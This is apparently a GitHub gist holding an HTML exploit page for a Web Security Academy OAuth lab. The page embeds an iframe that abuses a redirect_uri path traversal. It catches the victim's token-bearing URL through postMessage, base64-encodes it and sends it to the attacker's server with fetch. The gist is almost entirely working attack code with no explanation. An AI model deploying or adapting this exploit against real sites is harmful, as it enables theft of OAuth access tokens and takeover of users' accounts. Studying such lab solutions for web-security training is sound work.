Skip to content

Instantly share code, notes, and snippets.

@UNC1739
Created January 26, 2024 21:56
Show Gist options
  • Select an option

  • Save UNC1739/15016054b17d68db19f57d3a9da0c4d5 to your computer and use it in GitHub Desktop.

Select an option

Save UNC1739/15016054b17d68db19f57d3a9da0c4d5 to your computer and use it in GitHub Desktop.
Steal OAuth Access Token Using PostMessage with iFrame
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<iframe id="myIframe" src="https://oauth-0a4600a9033dea90854c98d802540049.oauth-server.net/auth?client_id=l2r7wtvbpn9138gfrh33k&redirect_uri=https://0aac006a037eea5d85ee9a31007c0029.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=492252691&scope=openid%20profile%20email" width="600" height="400"></iframe>
<script>
// Function to handle incoming messages
function receiveMessage(event) {
// Check if the message is of type 'onload'
if (event.data.type === 'onload') {
console.log('Received location data from iframe:', event.data.data);
// Encode the URL to base64
var base64EncodedUrl = btoa(event.data.data);
// Create the URL for the GET request
var getUrl = '/test?message=' + encodeURIComponent(base64EncodedUrl);
// Perform the GET request
fetch(getUrl)
.then(response => {
console.log('Data sent successfully');
}).catch(error => {
console.error('Error sending data:', error);
});
}
}
// Add the event listener for the message event
window.addEventListener('message', receiveMessage, false);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment